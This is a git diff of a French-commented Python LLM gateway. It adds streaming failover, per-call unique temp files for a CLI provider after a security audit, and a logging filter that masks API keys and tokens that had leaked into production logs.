inadéquate de '{model_name}' " f"({len(str(res))} chars). Escalade vers le modèle suivant." @@ -629,6 +731,9 @@ async def generate_async(self, system_prompt: str, user_prompt: str, **kwargs) - # [T130] écriture ChromaDB synchrone → to_thread. await asyncio.to_thread(sem_cache.put, cache_key, res, model=model_name) + # [T288] Point de vérité : c'est ici, et seulement ici, qu'on + # sait quel candidat a gagné la cascade. + marquer_modele_repondu(model_name) return res except Exception as e: err_msg = str(e).lower() @@ -652,12 +757,15 @@ async def generate_async(self, system_prompt: str, user_prompt: str, **kwargs) - raise last_error or RuntimeError("Tous les providers configurés ont échoué ou ont leurs circuits ouverts.") async def generate_structured_async( - self, system_prompt: str, user_prompt: str, schema: Dict[str, Any], **kwargs - ) -> Dict[str, Any]: + self, system_prompt: str, user_prompt: str, schema: dict[str, Any], **kwargs + ) -> dict[str, Any]: """[D5] Variante async de generate_structured() : appelle provider.generate_structured_async().""" if not self.providers: raise ValueError("Aucun provider disponible pour ce Tier.") + # [T288] Chaque appel repart d'une trace vierge (échec total → None). + marquer_modele_repondu(None) + last_error = None for model_name, provider in self.providers: cb = CircuitBreaker.get_or_create(model_name) @@ -673,6 +781,8 @@ async def generate_structured_async( res = await provider.generate_structured_async(system_prompt, user_prompt, schema, **kwargs) latency = time.time() - start_time cb.record_success(latency) + # [T288] Point de vérité : le candidat gagnant est connu ici. + marquer_modele_repondu(model_name) return res except Exception as e: err_msg = str(e).lower() @@ -695,17 +805,62 @@ async def generate_structured_async( raise last_error or RuntimeError("Tous les providers configurés ont échoué ou ont leurs circuits ouverts.") - def generate_structured(self, system_prompt: str, user_prompt: str, schema: Dict[str, Any], **kwargs) -> Dict[str, Any]: + def generate_stream(self, system_prompt: str, user_prompt: str, **kwargs): + """ + [#T212] Streaming natif avec Circuit Breaker et bascule inter-providers. + + Sans cette surcharge, le fallback de LLMProvider.generate_stream() (découpage + de generate() en pseudo-chunks) dégraderait le vrai streaming token-par-token + du chemin SSE de l'IHM. La bascule vers le provider suivant n'est possible + que si AUCUN token n'a encore été émis : en cours de flux, on propage + l'erreur (impossible de recommencer proprement chez le client). + """ + if not self.providers: + raise ValueError("Aucun provider disponible pour ce Tier.") + + last_error = None + for model_name, provider in self.providers: + cb = CircuitBreaker.get_or_create(model_name) + if cb.is_open(): + logger.warning(f"[FALLBACK GATEWAY] Circuit ouvert pour le stream '{model_name}'. Modèle court-circuité.") + continue + + start_time = time.time() + token_emitted = False + try: + logger.info(f"[FALLBACK GATEWAY] Tentative stream avec le modèle : {model_name} (CB: {cb.state.value})") + for chunk in provider.generate_stream(system_prompt, user_prompt, **kwargs): + token_emitted = True + yield chunk + cb.record_success(time.time() - start_time) + return + except Exception as e: + cb.record_failure(e) + if token_emitted: + # Flux entamé : bascule impossible, on propage. + raise + last_error = e + logger.warning( + f"[FALLBACK GATEWAY] Échec stream du modèle {model_name} avant le premier " + f"token : {e}. Bascule sur le modèle suivant..." + ) + + raise last_error or RuntimeError("Tous les providers configurés ont échoué ou ont leurs circuits ouverts.") + + def generate_structured(self, system_prompt: str, user_prompt: str, schema: dict[str, Any], **kwargs) -> dict[str, Any]: if not self.providers: raise ValueError("Aucun provider disponible pour ce Tier.") - + + # [T288] Chaque appel repart d'une trace vierge (échec total → None). + marquer_modele_repondu(None) + last_error = None for model_name, provider in self.providers: cb = CircuitBreaker.get_or_create(model_name) if cb.is_open(): logger.warning(f"[FALLBACK GATEWAY] Circuit ouvert pour le modèle structuré '{model_name}'. Modèle court-circuité.") continue - + retries = 2 while retries > 0: start_time = time.time() @@ -714,6 +869,8 @@ def generate_structured(self, system_prompt: str, user_prompt: str, schema: Dict res = provider.generate_structured(system_prompt, user_prompt, schema, **kwargs) latency = time.time() - start_time cb.record_success(latency) + # [T288] Point de vérité : le candidat gagnant est connu ici. + marquer_modele_repondu(model_name) return res except Exception as e: err_msg = str(e).lower() @@ -723,7 +880,7 @@ def generate_structured(self, system_prompt: str, user_prompt: str, schema: Dict logger.warning(f"[FALLBACK GATEWAY] Modèle structuré {model_name} a levé un Rate Limit (429). Retente après backoff...") cb.record_rate_limit() continue - + cb.record_failure(e) backoff_delay = 0.5 + random.uniform(0, 0.5) logger.warning( @@ -733,7 +890,7 @@ def generate_structured(self, system_prompt: str, user_prompt: str, schema: Dict time.sleep(backoff_delay) last_error = e break - + raise last_error or RuntimeError("Tous les providers configurés ont échoué ou ont leurs circuits ouverts.") diff --git a/core/llm/providers/gemini.py b/core/llm/providers/gemini.py index ffe7047..f307507 100644 --- a/core/llm/providers/gemini.py +++ b/core/llm/providers/gemini.py @@ -2,21 +2,48 @@ core/llm/providers/gemini.py — Providers Google Gemini (API OpenAI-compatible et Antigravity CLI). """ -import os import json import logging +import os import shutil +import uuid +from typing import Any + import requests -from typing import Dict, Any -from .base import LLMProvider, run_cli_command + from core.llm_timeouts import get_timeout +from core.openai_compat_provider import filtrer_champs_prives + +from .base import LLMProvider, run_cli_command logger = logging.getLogger(__name__) +# [Audit sécu 10/07 — IPC Antigravity] Préfixe des fichiers d'échange avec la CLI +# Antigravity. Le nom complet est UNIQUE par appel (cf. GeminiCLIProvider.generate) : +# il est dicté par notre propre prompt, donc la CLI s'y adapte sans qu'aucun +# changement ne soit nécessaire de son côté. +_EXCHANGE_PREFIX = "antigravity_exchange_temp" + +# Nom historique, à sortie fixe. Conservé UNIQUEMENT comme filet de sécurité en +# lecture, au cas où la CLI ignorerait le nom demandé (cf. _lire_fichier_echange). +_LEGACY_EXCHANGE_FILE = f"{_EXCHANGE_PREFIX}.txt" + + +def _supprimer_silencieusement(chemin: str | None) -> None: + """Supprime un fichier temporaire sans jamais faire échouer l'appelant.""" + if not chemin: + return + try: + os.remove(chemin) + except FileNotFoundError: + pass + except Exception as e: + logger.debug(f"[GeminiCLI] Fichier temporaire non supprimé ({chemin}) : {e}") + class GeminiProvider(LLMProvider): """Provider optimal pour utiliser les modèles de Google (via compatibilité OpenAI).""" - + def __init__(self, api_key: str, model: str = "gemini-2.5-flash"): self.api_key = api_key self.model = model @@ -25,10 +52,14 @@ def __init__(self, api_key: str, model: str = "gemini-2.5-flash"): "Authorization": f"Bearer {self.api_key}", "Content-Type": "application/json" } - + def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: messages = kwargs.get("messages") - if not messages: + if messages: + # Champs privés internes du moteur (ex: _thought_signature Gemini) : + # jamais transmis aux APIs externes (#T263). + messages = filtrer_champs_prives(messages) + else: messages = [ {"role": "system", "content": system_prompt}, {"role": "user", "content": user_prompt} @@ -38,31 +69,34 @@ def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: "messages": messages, "temperature": kwargs.get("temperature", 0.0) } - + if "tools" in kwargs: payload["tools"] = kwargs["tools"] - + # Relais de la contrainte d'appel d'outil du client (auto / none / outil imposé). + if kwargs.get("tool_choice") is not None: + payload["tool_choice"] = kwargs["tool_choice"] + logger.debug(f"Appel API Gemini ({self.model}) (generate)") response = requests.post(self.base_url, headers=self.headers, json=payload, timeout=get_timeout("gemini")) response.raise_for_status() - + resp_json = response.json() usage = resp_json.get("usage") if usage: from core.token_tracker import record_usage record_usage(self.model, usage.get("prompt_tokens", 0), usage.get("completion_tokens", 0), session_id=kwargs.get("session_id")) - + message = resp_json["choices"][0]["message"] - + # Si le LLM a décidé d'appeler un outil, on retourne l'objet message entier if "tool_calls" in message: return message - + return message.get("content", "") - - def generate_structured(self, system_prompt: str, user_prompt: str, schema: Dict[str, Any], **kwargs) -> Dict[str, Any]: + + def generate_structured(self, system_prompt: str, user_prompt: str, schema: dict[str, Any], **kwargs) -> dict[str, Any]: sys_prompt = system_prompt + "\nTu DOIS répondre UNIQUEMENT au format JSON strict." - + payload = { "model": self.model, "messages": [ @@ -72,17 +106,17 @@ def generate_structured(self, system_prompt: str, user_prompt: str, schema: Dict "response_format": {"type": "json_object"}, "temperature": kwargs.get("temperature", 0.0) } - + logger.debug(f"Appel API Gemini ({self.model}) (generate_structured)") response = requests.post(self.base_url, headers=self.headers, json=payload, timeout=get_timeout("gemini")) response.raise_for_status() - + resp_json = response.json() usage = resp_json.get("usage") if usage: from core.token_tracker import record_usage record_usage(self.model, usage.get("prompt_tokens", 0), usage.get("completion_tokens", 0), session_id=kwargs.get("session_id")) - + content = resp_json["choices"][0]["message"].get("content", "{}") try: return json.loads(content) @@ -93,7 +127,11 @@ def generate_structured(self, system_prompt: str, user_prompt: str, schema: Dict def generate_stream(self, system_prompt: str, user_prompt: str, **kwargs): """Streaming natif Gemini via OpenAI-compatible stream=true.""" messages = kwargs.get("messages") - if not messages: + if messages: + # Champs privés internes du moteur (ex: _thought_signature Gemini) : + # jamais transmis aux APIs externes (#T263). + messages = filtrer_champs_prives(messages) + else: messages = [ {"role": "system", "content": system_prompt}, {"role": "user", "content": user_prompt} @@ -142,7 +180,7 @@ def generate_stream(self, system_prompt: str, user_prompt: str, **kwargs): class GeminiCLIProvider(LLMProvider): """Provider pour exécuter localement la CLI Antigravity en mode chat (OAuth Claude Pro).""" - + def __init__(self, mode: str = "agent", model_name: str = "gemini-cli"): self.mode = mode self.model_name = model_name @@ -152,27 +190,60 @@ def __init__(self, mode: str = "agent", model_name: str = "gemini-cli"): self.cmd_path = os.path.join(user_home, "AppData", "Local", "Programs", "Antigravity", "bin", "antigravity.cmd") if not os.path.exists(self.cmd_path): self.cmd_path = ( - shutil.which("antigravity-ide") or - shutil.which("antigravity-ide.cmd") or - shutil.which("antigravity") or - shutil.which("antigravity.exe") or + shutil.which("antigravity-ide") or + shutil.which("antigravity-ide.cmd") or + shutil.which("antigravity") or + shutil.which("antigravity.exe") or "antigravity-ide" ) + def _lire_fichier_echange(self, exchange_file: str) -> str | None: + """ + Lit la réponse écrite par la CLI, puis supprime le fichier lu. + + Le fichier attendu est celui, unique, demandé dans le prompt de cet appel. + S'il est absent, on tente le nom historique à sortie fixe : filet de + sécurité au cas où la CLI ignorerait le nom demandé. Ce repli est + best-effort et reste soumis, lui, au croisement de réponses entre appels + concurrents — c'est précisément ce que le nom unique élimine sur le + chemin nominal. Retourne None si aucun fichier n'a été produit. + """ + for chemin in (exchange_file, _LEGACY_EXCHANGE_FILE): + if not os.path.exists(chemin): + continue + if chemin == _LEGACY_EXCHANGE_FILE: + logger.warning( + "[GeminiCLI] La CLI a écrit dans le fichier d'échange historique " + f"('{_LEGACY_EXCHANGE_FILE}') au lieu du nom unique demandé " + f"('{exchange_file}') : réponses potentiellement croisées si " + "plusieurs appels tournent en parallèle." + ) + with open(chemin, encoding="utf-8", errors="ignore") as f: + contenu = f.read().strip() + _supprimer_silencieusement(chemin) + return contenu + return None + def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: prompt = f"{system_prompt}\n\n{user_prompt}".strip() - exchange_file = "antigravity_exchange_temp.txt" - if os.path.exists(exchange_file): - try: - os.remove(exchange_file) - except Exception: - pass - + + # [Audit sécu 10/07] Un nom de fichier FIXE et relatif au CWD servait + # d'IPC avec la CLI : deux appels concurrents (les providers tournent en + # parallèle via generate_async → asyncio.to_thread) se supprimaient et se + # relisaient mutuellement, d'où des réponses croisées ; et un appel parti + # en timeout laissait sa réponse être lue par l'appel suivant. Le nom est + # désormais unique par appel — et comme c'est notre prompt qui le dicte, + # rien ne change côté Antigravity. + exchange_file = f"{_EXCHANGE_PREFIX}_{uuid.uuid4().hex[:12]}.txt" + + # Résidu éventuel d'un ancien appel au format historique : on repart propre. + _supprimer_silencieusement(_LEGACY_EXCHANGE_FILE) + full_prompt = ( f"{prompt}\n\n" f"CRITIQUE : Tu doit absolument écrire ton résultat ou ton analyse finale dans le fichier texte nommé '{exchange_file}' dans ton espace de travail actuel. Ne fais rien d'autre." ) - + # Fichier temp si prompt long (>8000 chars, limite Windows CLI) prompt_file = None if len(full_prompt) > 8000: @@ -190,17 +261,11 @@ def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: else: cmd = [self.cmd_path, 'chat', '-m', self.mode, full_prompt] logger.debug(f'Exécution Gemini CLI : {self.cmd_path} chat -m {self.mode} [prompt]') - + try: result = run_cli_command(cmd, capture_output=True, text=True, encoding="utf-8", errors="ignore", timeout=300) - if os.path.exists(exchange_file): - with open(exchange_file, "r", encoding="utf-8", errors="ignore") as f: - response_text = f.read().strip() - try: - os.remove(exchange_file) - except Exception: - pass - else: + response_text = self._lire_fichier_echange(exchange_file) + if response_text is None: response_text = result.stdout.strip() if not response_text: if result.returncode != 0: @@ -210,16 +275,23 @@ def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: except Exception as e: logger.error(f"Erreur lors de l'appel Gemini CLI (Antigravity): {e}") raise e + finally: + # Sans ce nettoyage, un appel interrompu (timeout de 300 s, exception) + # laisserait derrière lui un fichier d'échange et le fichier de prompt + # long — d'autant plus visibles maintenant que chaque appel a son + # propre nom. + _supprimer_silencieusement(exchange_file) + _supprimer_silencieusement(prompt_file) prompt_tokens = max(1, len(prompt) // 4) completion_tokens = max(1, len(response_text) // 4) - + from core.token_tracker import record_usage record_usage("gemini-cli", prompt_tokens, completion_tokens, session_id=kwargs.get("session_id")) - + return response_text - def generate_structured(self, system_prompt: str, user_prompt: str, schema: Dict[str, Any], **kwargs) -> Dict[str, Any]: + def generate_structured(self, system_prompt: str, user_prompt: str, schema: dict[str, Any], **kwargs) -> dict[str, Any]: sys_prompt = system_prompt + "\nTu DOIS répondre UNIQUEMENT au format JSON strict." response_text = self.generate(sys_prompt, user_prompt, **kwargs) try: diff --git a/core/llm_gateway.py b/core/llm_gateway.py index 62085cd..36e55a9 100644 --- a/core/llm_gateway.py +++ b/core/llm_gateway.py @@ -3,7 +3,7 @@ Instancie et orchestre tous les providers (DeepSeek, Gemini natif/compat, Claude natif/CLI, Mistral, Cohere, Cerebras, OpenRouter, xAI, MiniMax, -DeepInfra, GitHub Models, LM Studio/Ollama locaux...) derrière une interface +DeepInfra, LM Studio/Ollama locaux...) derrière une interface unique. Sélectionne le provider par tier via ProviderScorer (core/provider_scorer.py : coût + quota + solde + latence live), applique le Circuit Breaker par modèle (core/llm/circuit_breaker.py) et bascule en cascade sur échec. @@ -47,6 +47,15 @@ except ImportError: GeminiNativeProvider = None +# [T284] Chargement du .env de la racine du dépôt AVANT toute lecture de +# os.environ : les clés API ne sont lues nulle part à l'import (uniquement dans +# LLMGateway.__init__), donc cet appel suffit pour tout le gateway, quel que +# soit le répertoire courant du point d'entrée qui l'importe. Idempotent : +# un second appel (autre point d'entrée, tests) ne recharge rien. +from core.env_bootstrap import bootstrap_env, missing_key_message # noqa: E402 + +bootstrap_env() + # [#T118] Poids de la latence live (CircuitBreaker.avg_latency_ms) dans le score # de routage — un tie-breaker en complément du cascade_priority statique, pas un @@ -84,9 +93,9 @@ def __init__(self, deepseek_key: str = None, gemini_key: str = None): ds_key = deepseek_key or os.environ.get("DEEPSEEK_API_KEY") if not ds_key: logger.warning( - "[LLMGateway] DEEPSEEK_API_KEY absente du .env — " + f"[LLMGateway] {missing_key_message('DEEPSEEK_API_KEY')} — " "les providers DeepSeek seront désactivés. " - "Ajoutez DEEPSEEK_API_KEY=sk-... dans moteur_agents/.env" + "Ajoutez DEEPSEEK_API_KEY dans moteur_agents/.env" ) gem_free_key = gemini_key or os.environ.get("GEMINI_API_KEY") # Clé payante de secours (s'il y en a une, sinon on fallback sur la clé gratuite si billing activé) @@ -95,73 +104,65 @@ def __init__(self, deepseek_key: str = None, gemini_key: str = None): mistral_key = os.environ.get("MISTRAL_API_KEY") if not mistral_key: logger.warning( - "[LLMGateway] MISTRAL_API_KEY absente du .env — " + f"[LLMGateway] {missing_key_message('MISTRAL_API_KEY')} — " "les providers Mistral seront désactivés. " - "Ajoutez MISTRAL_API_KEY=... dans moteur_agents/.env" + "Ajoutez MISTRAL_API_KEY dans moteur_agents/.env" ) cohere_key = os.environ.get("COHERE_API_KEY") if not cohere_key: logger.info( - "[LLMGateway] COHERE_API_KEY absente du .env — " + f"[LLMGateway] {missing_key_message('COHERE_API_KEY')} — " "les providers Cohere seront désactivés. " - "Ajoutez COHERE_API_KEY=... dans moteur_agents/.env" + "Ajoutez COHERE_API_KEY dans moteur_agents/.env" ) cerebras_free_key = os.environ.get("CEREBRAS_API_KEY") cerebras_paid_key = os.environ.get("CEREBRAS_PAYANT_API_KEY") if not cerebras_free_key and not cerebras_paid_key: logger.info( - "[LLMGateway] CEREBRAS_API_KEY / CEREBRAS_PAYANT_API_KEY absente du .env — " + f"[LLMGateway] {missing_key_message('CEREBRAS_API_KEY / CEREBRAS_PAYANT_API_KEY')} — " "les providers Cerebras seront désactivés." ) openrouter_key = os.environ.get("OPENROUTER_API_KEY") if not openrouter_key: logger.info( - "[LLMGateway] OPENROUTER_API_KEY absente du .env — " + f"[LLMGateway] {missing_key_message('OPENROUTER_API_KEY')} — " "les providers OpenRouter seront désactivés. " - "Ajoutez OPENROUTER_API_KEY=... dans moteur_agents/.env" + "Ajoutez OPENROUTER_API_KEY dans moteur_agents/.env" ) xai_key = os.environ.get("XAI_API_KEY") if not xai_key: logger.info( - "[LLMGateway] XAI_API_KEY absente du .env — " + f"[LLMGateway] {missing_key_message('XAI_API_KEY')} — " "les providers xAI seront désactivés. " - "Ajoutez XAI_API_KEY=... dans moteur_agents/.env" + "Ajoutez XAI_API_KEY dans moteur_agents/.env" ) minimax_key = os.environ.get("MINIMAX_API_KEY") if not minimax_key: logger.info( - "[LLMGateway] MINIMAX_API_KEY absente du .env — " + f"[LLMGateway] {missing_key_message('MINIMAX_API_KEY')} — " "les providers MiniMax seront désactivés. " - "Ajoutez MINIMAX_API_KEY=... dans moteur_agents/.env" + "Ajoutez MINIMAX_API_KEY dans moteur_agents/.env" ) deepinfra_key = os.environ.get("DEEPINFRA_API_KEY") if not deepinfra_key: logger.info( - "[LLMGateway] DEEPINFRA_API_KEY absente du .env — " + f"[LLMGateway] {missing_key_message('DEEPINFRA_API_KEY')} — " "les providers DeepInfra seront désactivés. " - "Ajoutez DEEPINFRA_API_KEY=... dans moteur_agents/.env" - ) - - github_key = os.environ.get("GITHUB_TOKEN") - if not github_key: - logger.info( - "[LLMGateway] GITHUB_TOKEN absente du .env — " - "les providers GitHub Models seront désactivés. " - "Ajoutez GITHUB_TOKEN=github_pat_... dans moteur_agents/.env" + "Ajoutez DEEPINFRA_API_KEY dans moteur_agents/.env" ) zhipu_key = os.environ.get("ZHIPU_API_KEY") if not zhipu_key: logger.info( - "[LLMGateway] ZHIPU_API_KEY absente du .env — " + f"[LLMGateway] {missing_key_message('ZHIPU_API_KEY')} — " "les providers Zhipu AI seront désactivés. " - "Ajoutez ZHIPU_API_KEY=... dans moteur_agents/.env" + "Ajoutez ZHIPU_API_KEY dans moteur_agents/.env" ) # Coding Plan Alibaba (Lite/Pro) — clé sk-sp-* uniquement. @@ -172,18 +173,18 @@ def __init__(self, deepseek_key: str = None, gemini_key: str = None): ) if not dashscope_key: logger.info( - "[LLMGateway] DASHSCOPE_API_KEY absente du .env — " + f"[LLMGateway] {missing_key_message('DASHSCOPE_API_KEY')} — " "le Coding Plan Alibaba (DashScope) sera désactivé. " - "Ajoutez DASHSCOPE_API_KEY=sk-sp-... dans moteur_agents/.env" + "Ajoutez DASHSCOPE_API_KEY dans moteur_agents/.env" ) anthropic_key = os.environ.get("ANTHROPIC_API_KEY") if not anthropic_key: logger.info( - "[LLMGateway] ANTHROPIC_API_KEY absente du .env — " + f"[LLMGateway] {missing_key_message('ANTHROPIC_API_KEY')} — " "l'accès direct à l'API Anthropic sera désactivé (seul le CLI " "Claude Pro reste disponible via claude_cli). " - "Ajoutez ANTHROPIC_API_KEY=sk-ant-... dans moteur_agents/.env" + "Ajoutez ANTHROPIC_API_KEY dans moteur_agents/.env" ) @@ -344,16 +345,6 @@ def _make_minimax(model: str) -> OpenAICompatibleProvider: "deepinfra/deepseek-r1": _make_compat("deepinfra", "deepseek-ai/DeepSeek-R1", deepinfra_key), } - # --- GitHub Models --- - _github = {} - if github_key: - _github = { - "github": _make_compat("github", "gpt-4o-mini", github_key), - "github/gpt-4o": _make_compat("github", "gpt-4o", github_key), - "github/gpt-4o-mini": _make_compat("github", "gpt-4o-mini", github_key), - "github/meta-llama-3.3-70b-instruct": _make_compat("github", "meta-llama-3.3-70b-instruct", github_key), - } - # --- Zhipu AI (Z.ai) --- _zhipu = {} if zhipu_key: @@ -433,7 +424,7 @@ def _make_anthropic(model: str) -> AnthropicNativeProvider: "domotique-qwen7b:q4": _make_compat("ollama_local", "domotique-qwen7b:q4", "ollama"), "qwen2.5-coder:7b": _make_compat("ollama_local", "qwen2.5-coder:7b", "ollama"), "deepseek-r1:8b": _make_compat("ollama_local", "deepseek-r1:8b", "ollama"), - # Variante joignable en LAN (${OLLAMA_HOST:-192.168.1.x}) depuis le Deck — cf. commentaire + # Variante joignable en LAN (${LM_STUDIO_HOST:-192.168.1.x}) depuis le Deck — cf. commentaire # dans OPENAI_COMPAT_PROVIDERS["ollama_pc"]. Utilisée par le fast path vocal # (FAST_PATH_PROVIDERS) pour du local-first même quand le moteur tourne sur le Deck. # Timeout dédié (connect 2s, read 15s) — PAS la famille "lmstudio" (120s de read) : @@ -454,7 +445,6 @@ def _make_anthropic(model: str) -> AnthropicNativeProvider: **_xai, **_minimax, **_deepinfra, - **_github, **_zhipu, **_dashscope, **_anthropic_native, @@ -462,7 +452,7 @@ def _make_anthropic(model: str) -> AnthropicNativeProvider: "local": LMStudioProvider(), # === STEAM DECK EDGE AI (Ollama RDNA2) === - # Endpoint réseau local : http://${ENGINE_HOST:-192.168.1.x}:11434 + # Endpoint réseau local : http://${DECK_HOST:-192.168.1.x}:11434 # Disponibilité vérifiée dynamiquement via ping_available() # Tiers recommandés : parsing_logs, yaml_format, resume_court "deck_ollama": OllamaDeckProvider(), # phi3:mini par défaut @@ -537,7 +527,10 @@ def _make_anthropic(model: str) -> AnthropicNativeProvider: self.providers["gemini-2.5-flash"] = self.providers["gemini-2.5-flash-free"] logger.info(f"✅ Provider Gemini Gratuit ({_provider_type}) activé avec succès.") else: - logger.warning("Clé GEMINI_API_KEY (gratuite) non fournie.") + logger.warning( + f"[LLMGateway] {missing_key_message('GEMINI_API_KEY')} — " + "le provider Gemini gratuit sera désactivé." + ) # 2. Enregistrement des versions payantes (clé payante GCP) # Enregistrées uniquement si GEMINI_PAYANT_API_KEY est explicitement définie dans le .env @@ -598,7 +591,10 @@ def _make_anthropic(model: str) -> AnthropicNativeProvider: self.providers["gemini-3-pro-preview-paid"] = GeminiProvider(api_key=gem_paid_key, model="gemini-3-pro-preview") logger.info(f"✅ Provider Gemini Payant ({_provider_type}) activé avec succès.") else: - logger.info("Clé GEMINI_PAYANT_API_KEY absente du .env — les providers GCP payants sont désactivés.") + logger.info( + f"[LLMGateway] {missing_key_message('GEMINI_PAYANT_API_KEY')} — " + "les providers GCP payants sont désactivés." + ) def get_access_map(self) -> dict[str, dict[str, Any]]: """ @@ -633,8 +629,6 @@ def get_access_map(self) -> dict[str, dict[str, Any]]: provider_type = "minimax" elif "deepinfra" in name: provider_type = "deepinfra" - elif "github" in name: - provider_type = "github" elif "local" in name or "deck_ollama" in name: provider_type = "local" diff --git a/core/llm_timeouts.py b/core/llm_timeouts.py index f1dd586..b83a4b5 100644 --- a/core/llm_timeouts.py +++ b/core/llm_timeouts.py @@ -11,9 +11,9 @@ "claude_cli": 300.0 } """ -import os import json import logging +import os logger = logging.getLogger("core.llm_timeouts") @@ -36,7 +36,7 @@ def _load_overrides() -> dict: if _overrides_cache is not None: return _overrides_cache try: - with open(_CONFIG_PATH, "r", encoding="utf-8") as f: + with open(_CONFIG_PATH, encoding="utf-8") as f: _overrides_cache = json.load(f).get("provider_timeouts", {}) except Exception as e: logger.debug(f"[LLMTimeouts] Pas d'override config.json ({e}), défauts utilisés.") diff --git a/core/log_redaction.py b/core/log_redaction.py new file mode 100644 index 0000000..68e2f2f --- /dev/null +++ b/core/log_redaction.py @@ -0,0 +1,138 @@ +""" +core/log_redaction.py — Masquage des secrets à la sortie des journaux (#T262). + +Le 10/08, une clé Gemini a été retrouvée **en clair dans le journal systemd de +prod** (4 lignes, 2 clés distinctes sur 7 jours). Le chemin de la fuite explique +pourquoi un correctif local n'aurait pas suffi : + + core/gemini_native.py construit `...:generateContent?key=` + → requests.raise_for_status() lève une HTTPError dont le MESSAGE + contient l'URL complète + → cette exception est journalisée par le circuit breaker + (« Échec détecté sur … : 400 Client Error … for url: …?key=… ») + → puis par la cascade (« Échec du modèle … ») + +Le secret voyage donc dans du texte d'exception, à travers des modules qui ne +savent rien de Gemini. Le seul endroit qui les voit tous, c'est le point de +sortie : les handlers de journalisation. D'où ce filtre. + +Il couvre aussi les **traces d'exception** (`exc_info`) : sans cela, un simple +`logger.error(..., exc_info=True)` ré-ouvrirait la fuite par la traceback. + +Installation (une fois par processus, après la configuration du logging) : + + from core.log_redaction import installer_redaction + installer_redaction() + +⚠️ Ce filtre est une **dernière ligne de défense**, pas une permission d'écrire +des secrets dans les logs : il ne connaît que les formes listées ci-dessous. +""" + +import logging +import re + +# Formes de secrets connues. Chaque motif garde le préfixe (pour que le log +# reste lisible : on veut savoir QUEL paramètre a été masqué) et remplace la valeur. +MOTIFS: tuple[tuple[re.Pattern, str], ...] = ( + # Secret passé en paramètre d'URL — le cas de la fuite du 10/08. + (re.compile(r"([?&](?:key|api[_-]?key|access_token|auth|token|password)=)[^&\s\"'<>]+", re.I), r"\1***"), + # Clés Google, y compris hors URL (message d'erreur, dump de config…). + (re.compile(r"AIza[0-9A-Za-z_\-]{10,}"), "AIza***"), + # En-tête Authorization. + (re.compile(r"(Bearer\s+)[A-Za-z0-9._\-]{12,}", re.I), r"\1***"), + # Clés à préfixe conventionnel (OpenAI, Anthropic, xAI, HuggingFace…). + # Préfixes les plus longs EN PREMIER : l'alternance regex retient la première + # branche qui matche, donc `sk-` avant `sk-proj-` masquerait la clé mais + # afficherait « sk-*** », en perdant l'indice du provider concerné. + (re.compile(r"\b(sk-proj-|sk-ant-|sk-|gsk_|xai-|hf_)[A-Za-z0-9_\-]{12,}"), r"\1***"), + # Affectation explicite dans du texte (`API_KEY=…`, `"password": "…"`). + (re.compile(r"((?:api[_-]?key|secret|password|passwd|token)[\"']?\s*[:=]\s*[\"']?)[A-Za-z0-9._\-]{12,}", re.I), r"\1***"), +) + + +def masquer_secrets(texte: str) -> str: + """Remplace toute forme de secret connue par `***`, en gardant le contexte.""" + if not texte: + return texte + for motif, remplacement in MOTIFS: + texte = motif.sub(remplacement, texte) + return texte + + +def _masquer_arg(valeur): + """ + Masque un argument de log avant formatage. + + Un filtre de handler tourne AVANT `getMessage()` : si l'appelant fait + `logger.warning("… %s", exc)`, `exc` n'est pas encore une str — sans + conversion, `str(exc)` (qui porte l'URL `?key=…`) s'écrit après le filtre + et la fuite passe. Les scalaires (`int`, `float`…) restent tels quels pour + ne pas casser `%d` / `%f`. + """ + if isinstance(valeur, str): + return masquer_secrets(valeur) + if isinstance(valeur, BaseException): + return masquer_secrets(str(valeur)) + if isinstance(valeur, (bytes, bytearray)): + try: + return masquer_secrets(valeur.decode("utf-8", errors="replace")) + except Exception: + return valeur + if isinstance(valeur, (int, float, bool, type(None))): + return valeur + try: + texte = str(valeur) + except Exception: + return valeur + masque = masquer_secrets(texte) + return masque if masque != texte else valeur + + +class FiltreRedaction(logging.Filter): + """ + Masque les secrets dans le message, ses arguments et sa trace d'exception. + + Un filtre s'exécute AVANT le formatage : on pré-rend donc la traceback dans + `record.exc_text` (que le formateur réutilise tel quel) pour pouvoir la + masquer aussi — sinon `exc_info=True` recréerait la fuite. + """ + + def filter(self, record: logging.LogRecord) -> bool: + if isinstance(record.msg, str): + record.msg = masquer_secrets(record.msg) + + if record.args: + if isinstance(record.args, dict): + record.args = {cle: _masquer_arg(v) for cle, v in record.args.items()} + elif isinstance(record.args, tuple): + record.args = tuple(_masquer_arg(a) for a in record.args) + + if record.exc_info and not record.exc_text: + try: + record.exc_text = logging.Formatter().formatException(record.exc_info) + except Exception: + record.exc_text = None + if record.exc_text: + record.exc_text = masquer_secrets(record.exc_text) + + return True + + +def installer_redaction(logger: logging.Logger | None = None) -> int: + """ + Attache le filtre à tous les handlers du logger racine (ou de celui fourni). + + Sur les **handlers** et non sur le logger : un filtre posé sur un logger ne + voit pas les enregistrements de ses enfants qui remontent par propagation — + or toute la fuite venait de loggers enfants (`core.llm.circuit_breaker`, + `core.llm.providers.deepseek`). Idempotent : ré-appeler n'empile pas de + filtres. Retourne le nombre de handlers protégés. + """ + cible = logger or logging.getLogger() + protégés = 0 + for handler in cible.handlers: + if any(isinstance(f, FiltreRedaction) for f in handler.filters): + continue + handler.addFilter(FiltreRedaction()) + protégés += 1 + return protégés diff --git a/core/mcp_bridge.py b/core/mcp_bridge.py index bb08f42..87e0883 100644 --- a/core/mcp_bridge.py +++ b/core/mcp_bridge.py @@ -1,13 +1,23 @@ -import os -import sys +""" +core/mcp_bridge.py — Intègre des serveurs MCP tiers dans le ToolRegistry. + +Découvre les serveurs MCP locaux configurés dans mcp_config.json (filtrés par +mcp_activation_rules.json + mots-clés du prompt), les démarre en stdio et +enregistre leurs outils dans le ToolRegistry du moteur. Utilisé par main.py +et services/pipeline_service.py. S'auto-exclut de tab5-engine pour éviter +toute récursion. +""" +import asyncio import json import logging -import asyncio +import os +import sys +from collections.abc import Callable from contextlib import AsyncExitStack -from typing import Dict, Callable -from mcp.client.stdio import stdio_client, StdioServerParameters from mcp.client.session import ClientSession +from mcp.client.stdio import StdioServerParameters, stdio_client + from tools.tool_registry import ToolRegistry logger = logging.getLogger(__name__) @@ -20,8 +30,8 @@ class MCPBridge: def __init__(self, config_path: str = None): self.config_path = config_path self.exit_stack = 